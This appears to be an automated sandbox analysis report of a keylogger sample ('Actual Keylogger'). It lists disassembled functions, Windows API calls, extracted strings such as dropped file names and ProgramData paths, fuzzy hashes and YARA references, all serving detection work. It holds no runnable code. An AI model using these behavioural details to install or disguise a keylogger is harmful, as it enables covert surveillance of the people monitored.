Opcode ID: 4ecf945b71f54a3124df47cedfe2b4815bd81d27520891cf9e0f0ea53d9edb37
Instruction ID: a7812ee5cad80f8d984b0a59283b9d65c796febf163ecdd98ca4aabc5b7dc693
Opcode Fuzzy Hash: 4ecf945b71f54a3124df47cedfe2b4815bd81d27520891cf9e0f0ea53d9edb37
Instruction Fuzzy Hash: B9F01276D0570CAACB30EAE98CC59DEB3AC5F09224F5006E6A519E7191EB3C9B048B90

Function 008675DC Relevance: 53.0, APIs: 3, Strings: 27, Instructions: 544
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetPathFromIDListW.SHELL32(0088735C,00887360,?,?,?,?,00000000,00000000), ref: 00867669
FindWindowW.USER32(Tfmm,00000000,?,?,?,?,00000000,00000000), ref: 00867887
ShellExecuteW.SHELL32(00000000,00867FC8,00000000), ref: 00867B9D

Strings

app:Run, xrefs: 00867A37
C:\ProgramData, xrefs: 0086765E, 00867673
@7{, xrefs: 008679B5
TSystemComponentM, xrefs: 00867C30, 00867C94, 00867CDA, 00867D20
wlg.exe, xrefs: 00867C5E
t-|, xrefs: 00867930
{78DFD215-B0D1-DA34-FE1A-278DDF34561C}, xrefs: 00867C16, 00867C7A, 00867CC0, 00867D06
SPS, xrefs: 00867BB9
\spmm.exe, xrefs: 008678A6
System component, xrefs: 00867876
basic start, xrefs: 00867BB2
Online, xrefs: 00867ACF
spmm.exe, xrefs: 00867B83, 00867C54
SYSTEM, xrefs: 00867BBE
\temp\reg\info.uid, xrefs: 008676AE
app:Run:First, xrefs: 00867A27
Business, xrefs: 00867AA0
RUNNING, xrefs: 00867B32
d2|, xrefs: 00867956
.22, xrefs: 00867B05
sps.exe, xrefs: 00867C4A
AKMBUS, xrefs: 00867A85
Actual Keylogger, xrefs: 00867A48
Trial, xrefs: 00867A6E
Desktop, xrefs: 00867AE8
Tfmm, xrefs: 00867882
q842y95uit, xrefs: 008678E0, 00867BF1

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000863000.00000040.00000001.01000000.00000014.sdmp, Offset: 00863000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_863000_spkl.jbxd

Similarity

API ID: ExecuteFindFromListPathShellWindow
String ID: Business$ Desktop$ Online$ Trial$.22$@7{$AKMBUS$Actual Keylogger$C:\ProgramData$RUNNING$SPS$SYSTEM$System component$TSystemComponentM$Tfmm$\spmm.exe$\temp\reg\info.uid$app:Run$app:Run:First$basic start$d2|$q842y95uit$spmm.exe$sps.exe$t-|$wlg.exe${78DFD215-B0D1-DA34-FE1A-278DDF34561C}
API String ID: 3610533966-2168388552
Opcode ID: e11afc3a4444000ae4868accce0f2068def0354540f18ba533456dfe47c48f64
Instruction ID: 94ada79b6983850db52b76a130c23aa80cb03ac332c394dfa09cf6b95f2b9070
Opcode Fuzzy Hash: e11afc3a4444000ae4868accce0f2068def0354540f18ba533456dfe47c48f64
Instruction Fuzzy Hash: D1126F30744205ABD710FBA6DD86F6A33A6FB44708F11447AF604AB3D6CA78EC458B99

Function 0040A8FC Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 156
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040AAE1,?,00000000), ref: 0040A935
lstrcpynW.KERNEL32(?,00000000,00000105,00000000,0040AAE1,?,00000000), ref: 0040A951
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,00000000,?,00000105,00000000,0040AAE1,?,00000000), ref: 0040A97E
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,0040AAE1), ref: 0040A99C
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?), ref: 0040A9BA
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 0040A9D8
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales), ref: 0040AA18
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001), ref: 0040AA43
RegQueryValueExW.ADVAPI32(?,0040AB98,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001), ref: 0040AA67
RegQueryValueExW.ADVAPI32(?,0040AB98,00000000,00000000,?,?,?,0040AB98,00000000,00000000,00000000,?,?,?,00000000,00000000), ref: 0040AA90
RegCloseKey.ADVAPI32(?,0040AACB,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001,Software\CodeGear\Locales), ref: 0040AABE

Strings

Software\Borland\Delphi\Locales, xrefs: 0040A9CE
Software\CodeGear\Locales, xrefs: 0040A974, 0040A992
Software\Borland\Locales, xrefs: 0040A9B0

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: OpenQueryValue$CloseFileModuleNamelstrcpyn
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales
API String ID: 3482678030-345420546
Opcode ID: 7686037f220fb291434b12021684ca3a9d7a2f0a43b6e3ea7526b31b9d2f4114
Instruction ID: f6036664f45c3f7286cd2f27c23185f6ba116a880561e7131eb2050cadb9a691
Opcode Fuzzy Hash: 7686037f220fb291434b12021684ca3a9d7a2f0a43b6e3ea7526b31b9d2f4114
Instruction Fuzzy Hash: A0510371B40308BEEB10EAA5CD46FAE77BCEB08704F504477B604F61C1D6B9AA50DB5A

Function 00403190 Relevance: 12.2, APIs: 8, Instructions: 221
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 00403226
Sleep.KERNEL32(0000000A,00000000,?), ref: 00403240

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: fdb00ec2100902d794fb1cbc3425dcf34a78a7217ddd200d769621c9536ef4d7
Instruction ID: bbdc09685489627ed5b39331dc89ee397961f4a8db56afddfdf96e3286142ac2
Opcode Fuzzy Hash: fdb00ec2100902d794fb1cbc3425dcf34a78a7217ddd200d769621c9536ef4d7
Instruction Fuzzy Hash: BA7105712043508FE711CF298E89B16BFD8AF85315F1482BFE848AB3D6D6B8C945CB59

Function 033A624C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 110
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 033A628F

Strings

The ordinal , xrefs: 033A62E8
The procedure entry point , xrefs: 033A6333
could not be located in the dynamic link library , xrefs: 033A62FF, 033A6346
LOADER ERROR, xrefs: 033A6327, 033A636E
KERNEL32.DLL, xrefs: 033A62AB

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID: AddressProc
String ID: could not be located in the dynamic link library $KERNEL32.DLL$LOADER ERROR$The ordinal $The procedure entry point
API String ID: 190572456-2170670254
Opcode ID: 58869a2f386067b734fd0e4dd1d0e75d971d773d895f1a2d0c8439a4f0c19a1e
Instruction ID: 26785891253015c0c8487b8d6abefe2a9845ad2d0ac3e30267e5e360af50c8bc
Opcode Fuzzy Hash: 58869a2f386067b734fd0e4dd1d0e75d971d773d895f1a2d0c8439a4f0c19a1e
Instruction Fuzzy Hash: 96313E78A00709EFDB10EFA8CCC2DAEB7B8FF48310F158565F910A7255D778A9419B60

Function 0040A5B8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlLeaveCriticalSection.NTDLL(0087FB5C), ref: 0040A5FA
RtlEnterCriticalSection.NTDLL(0087FB5C), ref: 0040A67A
lstrcpynW.KERNEL32(0087FB78,00000000,000000AA,0087FB5C,00000000,00000002,0087FB5C,0087FB5C,00000000,0040A6BD,?,?,00000000,00000000,?,0040AED0), ref: 0040A698
RtlLeaveCriticalSection.NTDLL(0087FB5C), ref: 0040A6A2

Strings

en-GB,en,en-US,, xrefs: 0040A5E6, 0040A693

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enterlstrcpyn
String ID: en-GB,en,en-US,
API String ID: 1122274999-3021119265
Opcode ID: d61ae319eddf6f4b60b69cee88791db6c14e0c5a944f71a2f4ff1963d7f7d212
Instruction ID: 5723f58af9a41ac21a7e675cb0514bd364bd00aae00b971453d55b0790f8d9a3
Opcode Fuzzy Hash: d61ae319eddf6f4b60b69cee88791db6c14e0c5a944f71a2f4ff1963d7f7d212
Instruction Fuzzy Hash: 4421F2707043006AD611B777CD26A2922A5AB41B08F18483BB280F32D6C9BFCC15822F

Function 00402E0C Relevance: 7.8, APIs: 6, Instructions: 298
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 00402EC3
Sleep.KERNEL32(0000000A,00000000), ref: 00402ED9
Sleep.KERNEL32(00000000), ref: 00402F07
Sleep.KERNEL32(0000000A,00000000), ref: 00402F1D

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 60d3dac85de659a9c7c0bae1bfec1a805d797ea7c6b6b00d4ef26e0dfc08bfec
Instruction ID: dfee491c2d37e5c08d703103af1408169b37cdbe47cbf3463ff51bf6769a6579
Opcode Fuzzy Hash: 60d3dac85de659a9c7c0bae1bfec1a805d797ea7c6b6b00d4ef26e0dfc08bfec
Instruction Fuzzy Hash: 0BC1F2726053618BC725CF2DD988316BBA1BF85311F18827FD449AB3DAC7B8D881CB95

Function 007B16A4 Relevance: 6.1, APIs: 4, Instructions: 111
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(00883E10), ref: 007B1723
RtlLeaveCriticalSection.NTDLL(00883E10), ref: 007B1758
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 007B176A

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveMessageSend
String ID:
API String ID: 417868457-0
Opcode ID: 4d636fd9186f359ec99dd04e92212334b4053703bdddbbdffefd76f6d50f7193
Instruction ID: 2b5719dc66f3b9fb5d8c81c04123e9fde0138808427e2b248b1d477ac1de0d38
Opcode Fuzzy Hash: 4d636fd9186f359ec99dd04e92212334b4053703bdddbbdffefd76f6d50f7193
Instruction Fuzzy Hash: 94311570A04344AED721DBBACC52FAEBBE8EB09714F90847AF945E76C1CA7C9904C754

Function 0337AFA4 Relevance: 6.1, APIs: 4, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetThreadLocale.KERNEL32 ref: 0337AFCB
GetSystemMetrics.USER32(0000004A), ref: 0337AFF2
GetSystemMetrics.USER32(0000002A), ref: 0337B001
GetCPInfo.KERNEL32(00000000,?,0000002A,0000004A), ref: 0337B015

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: MetricsSystem$InfoLocaleThread
String ID:
API String ID: 1011932403-0
Opcode ID: 90991e9c821d0098a6795537f5c7113ca24fb4f11d732730c15ab604f9281104
Instruction ID: bb2bf79afd0b812ff4f397f8a3dd647c0a4bb6315987c6edc034076c0d15c54e
Opcode Fuzzy Hash: 90991e9c821d0098a6795537f5c7113ca24fb4f11d732730c15ab604f9281104
Instruction Fuzzy Hash: C5117D09A58B8549C730FB745C512FAFBE88F12210F0D8468DCE94B642E72DC401D362

Function 033A68C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessAffinityMask.KERNEL32(00000000), ref: 033A693E

Strings

99, xrefs: 033A6924
kernel32.dll, xrefs: 033A6906

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID: AffinityMaskProcess
String ID: 99$kernel32.dll
API String ID: 1682748466-4043654467
Opcode ID: f854cf999ef3f8c7cdda35bab73fc2b6ede1810ca0ca2ce4401478e7830848bd
Instruction ID: 156d6dec124be249838e9c333a9974aca865cc943d545b809cc96c9f332d65a6
Opcode Fuzzy Hash: f854cf999ef3f8c7cdda35bab73fc2b6ede1810ca0ca2ce4401478e7830848bd
Instruction Fuzzy Hash: DC21B136E08B159BC720FBBC8CC264AB7D8EF41270F1C4B65D574EB2C1EB2A995047A1

Function 00405F57 Relevance: 4.6, APIs: 3, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 0040614A
UnhandledExceptionFilter.KERNEL32(?,?,00000000,00000006), ref: 00406187
RtlUnwind.KERNEL32(?,?,?,00000000,?,?,?,?), ref: 004061B2

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$Unwind
String ID:
API String ID: 1141220122-0
Opcode ID: ab445c5dd401acfce8aa8a9b671399e6bbb764ba110892a62c9722f698784467
Instruction ID: 6bc31f3cf658b8099663ef5b1fe2bf8cdc9c999fafb2e068c4c88ba3489c8b57
Opcode Fuzzy Hash: ab445c5dd401acfce8aa8a9b671399e6bbb764ba110892a62c9722f698784467
Instruction Fuzzy Hash: 45318DB0604300AFE720EB11C884B27B7E9EB84710F16C5AEF5096B2D2C778EC51CA29

Function 033CE001 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00000546,00001000,00000004), ref: 033CE0C4
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 033CE0FB

Strings

D)D, xrefs: 033CE04D

Memory Dump Source

Source File: 00000038.00000002.2729832035.00000000033CE000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_33ce000_spkl.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: D)D
API String ID: 2087232378-3173377644
Opcode ID: 7cedf80ecc784c85c37b14c128cf034456b9d78d3ad3343d33e640cf10aff2aa
Instruction ID: 3110a9c76a935fe8fbd3c2f0fcaac071aafb038f3ac9fe1fbde1d9716a0b4ddd
Opcode Fuzzy Hash: 7cedf80ecc784c85c37b14c128cf034456b9d78d3ad3343d33e640cf10aff2aa
Instruction Fuzzy Hash: C6210BB2640288EFDF51DF60CD85BDE37A8AB48752F80011ABD099F245D6F56B048B1E

Function 03373518 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

Runtime error at 00000000, xrefs: 033736C2, 033736E8

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID: Runtime error at 00000000
API String ID: 0-1393363852
Opcode ID: 0e6c0a3fad805ba02643d616c20a4ec13c4fcfbdbcc1b40f558d9ae6feb32800
Instruction ID: 1824b2f11bc5ae66791ddcab243d6f395c491c5a66626b9c49f6416faa40c75d
Opcode Fuzzy Hash: 0e6c0a3fad805ba02643d616c20a4ec13c4fcfbdbcc1b40f558d9ae6feb32800
Instruction Fuzzy Hash: C741AAB8A04384AFDB34EF28C8C4796BBACAB49370F188099E6044F246D77CC484DF91

Function 03371FD8 Relevance: 3.1, APIs: 2, Instructions: 122COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(033B8430), ref: 0337201B

Part of subcall function 03371904: LocalAlloc.KERNEL32(00000000,00000FF8,033B8430,033B8430,00000000,033719BA), ref: 03371957
Part of subcall function 03371904: RtlLeaveCriticalSection.NTDLL(033B8430), ref: 033719B4

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: CriticalSection$AllocEnterLeaveLocal
String ID:
API String ID: 716609888-0
Opcode ID: c253312f70501f4db26c3919483abe8ef55407c6699bd8e44f9d91b483f35492
Instruction ID: 5e5b9ff038caed1893e037f30977da22794aed1343bd90b62d3b4765e8fa545c
Opcode Fuzzy Hash: c253312f70501f4db26c3919483abe8ef55407c6699bd8e44f9d91b483f35492
Instruction Fuzzy Hash: 2141CFB2E143449FDB24EF69D8C166A7BADFB48314F198ABAC505CB745E33C9881CB10

Function 03371904 Relevance: 3.0, APIs: 2, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000FF8,033B8430,033B8430,00000000,033719BA), ref: 03371957
RtlLeaveCriticalSection.NTDLL(033B8430), ref: 033719B4

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: AllocCriticalLeaveLocalSection
String ID:
API String ID: 1361736381-0
Opcode ID: 5f79c3bf76f9bb07f0ec44a164bac7c754bc90fdd24e157f12119cd5cc515f4e
Instruction ID: c6c020270aed368f88c6d74cbbb25b465cce4ad743d991415d41de4a7cd95c88
Opcode Fuzzy Hash: 5f79c3bf76f9bb07f0ec44a164bac7c754bc90fdd24e157f12119cd5cc515f4e
Instruction Fuzzy Hash: 7C01D279E683C05ED331FF6894C27593AECD74A704F898564E341CFA84DA7C44C18B61

Function 033CE10F Relevance: 3.0, APIs: 2, Instructions: 503memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 033CE343
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 033CE3DF

Memory Dump Source

Source File: 00000038.00000002.2729832035.00000000033CE000.00000040.00001000.00020000.00000000.sdmp, Offset: 033CE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_33ce000_spkl.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 0ef20ef31486968fd6e1db149edee5e259f642605a3ca6a776f865cc95688f01
Instruction ID: 41401947df8143387f4520d01c85822e1f50b673f5659c710ada7b3bc98b9758
Opcode Fuzzy Hash: 0ef20ef31486968fd6e1db149edee5e259f642605a3ca6a776f865cc95688f01
Instruction Fuzzy Hash: 1FB1D0722142C9DFDB21CF64CCC4AEA77E8EF45712F480129ED498B241E370AB41CB5A

Function 0337141C Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000001,?,?,?,03371725), ref: 0337144B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,03371725), ref: 03371472

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 90774c70ba861d0455892a7e7411dc742c0e554ba4ce4cd488ce2859f5667fdd
Instruction ID: 7c201c580050abc8f247bae8d8eeee3dcc21e34bb12062944c97d4ccda982485
Opcode Fuzzy Hash: 90774c70ba861d0455892a7e7411dc742c0e554ba4ce4cd488ce2859f5667fdd
Instruction Fuzzy Hash: 0FF02777F0172017DB30DA694CC0B5265A89F89790F0900B0FA4CFF7C8D6654C4143A0

Function 0040ADAC Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

GetSystemDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,0040AF4B,?,?,?,00000000), ref: 0040AEEC

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: DefaultLanguageSystem
String ID:
API String ID: 4166810957-0
Opcode ID: 66a4d2a00d45827909e64d4115acc47836f2faef788d0f19d7f6b1eb0cd9adfa
Instruction ID: d8529c3a86b5486bf577bb49881e36b276531488797953cddac343c358fd6839
Opcode Fuzzy Hash: 66a4d2a00d45827909e64d4115acc47836f2faef788d0f19d7f6b1eb0cd9adfa
Instruction Fuzzy Hash: 62417471A443199BD720EB65DC8978AB3F5AF58304F5005F6E008B32D2DB78AE948E5A

Function 0040AB9C Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040AC56,?,04590FE0,00869044,?,00409D6C,04590FE0,?,0000020A,04590FE0,00869044,00409DAD), ref: 0040ABD8

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 6dfcb00e295d27a0b4735b36a0dbacd346025578fc11e0d51805ccceb5b76337
Instruction ID: 771ce1d65e53cd220824622077c18220499e43e131d77fe26079b548053c9918
Opcode Fuzzy Hash: 6dfcb00e295d27a0b4735b36a0dbacd346025578fc11e0d51805ccceb5b76337
Instruction Fuzzy Hash: 7611987194821C9BDB24EB60CD86BDE73B9DB14304F5144BAB508B32D1DA785F848A9A

Function 03375E98 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(033B84D4,?,00000105), ref: 03375EAF

Part of subcall function 03374CB8: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03374CD4
Part of subcall function 03374CB8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03374CF2
Part of subcall function 03374CB8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F003F,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03374D10
Part of subcall function 03374CB8: RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000005,00000000,03374D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?), ref: 03374D4A
Part of subcall function 03374CB8: RegQueryValueExA.ADVAPI32(?,03374EB0,00000000,00000000,00000000,00000005,?,00000000,00000000,00000000,00000000,00000005,00000000,03374D84,?,80000001), ref: 03374D68
Part of subcall function 03374CB8: RegCloseKey.ADVAPI32(?,03374D8B,00000000,00000000,00000005,00000000,03374D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03374D7E

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: FileModuleNameOpenQueryValue$Close
String ID:
API String ID: 1918644479-0
Opcode ID: da36252bdb5e89e84d69b5cd2c5175e29c541d6b1ce22f2ae6972294d0739596
Instruction ID: 593b2b4c056d25108106479aa779c73b0b08def9bb867aaf1a4f926e367613ef
Opcode Fuzzy Hash: da36252bdb5e89e84d69b5cd2c5175e29c541d6b1ce22f2ae6972294d0739596
Instruction Fuzzy Hash: 54E0CDBAF483055FD750FFA9ADC254A32DC9B05314F5400296748CB34AF77CA9444B52

Function 03392628 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(033B7384,?,00000400), ref: 03392641

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: fcc91742df673d54e8391898c68270ef15bc3a7b3a05402fbf4fd8d938f409b3
Instruction ID: 0a7c001b7d6f1d76b9518a72c45eed6b53d65046c3c55549de3885111b1eb962
Opcode Fuzzy Hash: fcc91742df673d54e8391898c68270ef15bc3a7b3a05402fbf4fd8d938f409b3
Instruction Fuzzy Hash: 13D012E6F406005BD650E6989CC2B5A328C9BC8210F5540647B0CCB384EB3ED91657A5

Function 033A3980 Relevance: 1.5, APIs: 1, Instructions: 8networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101), ref: 033A398C

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 4735a39fb9db8308ca3e76acdcf1c4178a8b85fe83b9e435fd0b645eac8bcb6b
Instruction ID: d347cc435ba5545ea734c6cdc8285d10c032d95b6c6da1e268369097eab36e52
Opcode Fuzzy Hash: 4735a39fb9db8308ca3e76acdcf1c4178a8b85fe83b9e435fd0b645eac8bcb6b
Instruction Fuzzy Hash: 27B09229A0264022E60223799E43782384C9B42320F8C05A069A8842DBEA9BA168019B

Function 033714F8 Relevance: 1.3, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000), ref: 0337155C

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 1774e959d2193baa0d6f4bb43685fca8027c54c55d6e89bad95c3a8ebc80d398
Instruction ID: 66be1738e54a47e46976f7cdccb73709f8451aa1e274bcffbaff4cf250dcd0ad
Opcode Fuzzy Hash: 1774e959d2193baa0d6f4bb43685fca8027c54c55d6e89bad95c3a8ebc80d398
Instruction Fuzzy Hash: 71210872A08300AFD724DF19C8C0A5EFBE5EF847A0F18C969E4998B354E334E840CB56

Function 0040ACA0 Relevance: 1.3, APIs: 1, Instructions: 57stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,?,00000000,0040AD3D,?,?,?,00000000), ref: 0040AD0A

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: lstrcpyn
String ID:
API String ID: 97706510-0
Opcode ID: 62f58fe671fac46956649dfa42b4a06e9d9c51d22aeb2ca6305eae8df1c9bc3b
Instruction ID: 952477280eb2d073172a3deebbbadb697fdb28e29115ede6f0f0dc9af39f96bd
Opcode Fuzzy Hash: 62f58fe671fac46956649dfa42b4a06e9d9c51d22aeb2ca6305eae8df1c9bc3b
Instruction Fuzzy Hash: B211E371908308AFEB20DB68C886AAA77E8EF15314F5104B6F844A72C0D7B85D50972B

